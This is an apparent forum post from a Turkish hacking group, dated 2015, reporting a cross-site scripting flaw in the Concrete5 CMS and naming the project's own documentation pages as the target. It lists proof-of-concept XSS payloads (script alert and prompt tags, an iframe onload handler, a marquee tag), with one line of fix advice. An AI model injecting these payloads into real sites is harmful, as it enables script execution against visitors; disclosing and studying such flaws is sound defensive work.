Concrete5 XSS Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Concrete5 XSS Vuln.

Madde
	Author : Bug Researchers
	Date : 14.11.2015 23:10:58
	# Concrete5 XSS Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # Application Name : Concrete5 XSS Vuln. # Vulnerable Type : Cross-Site Scripting # Bug Fix Advice : Harmful characters can be filtered out. # Vendor Homepage : https://www.concrete5.org # Author : Cyber Warrior \| Bug Researchers Group \| AaCcTt # Author Contact : http://www.Cyber-warrior.org/198620 # Target :http://documentation.concrete5.org/tutorials ############################################################# < ------------------- / header data end of ------------------- > < -- bug code start -- > <marquee>Cyber WARRIOR BUG RES. - AaCcTt<marquee> ><script>alert(’Cyber WARRIOR BUG RES. - AaCcTt’)</script> ></script><script>prompt(Cyber WARRIOR BUG RES. - AaCcTt)</script> ><iframe onload=alert(/Cyber WARRIOR BUG RES. - AaCcTt/)> < -- / bug code end of -- >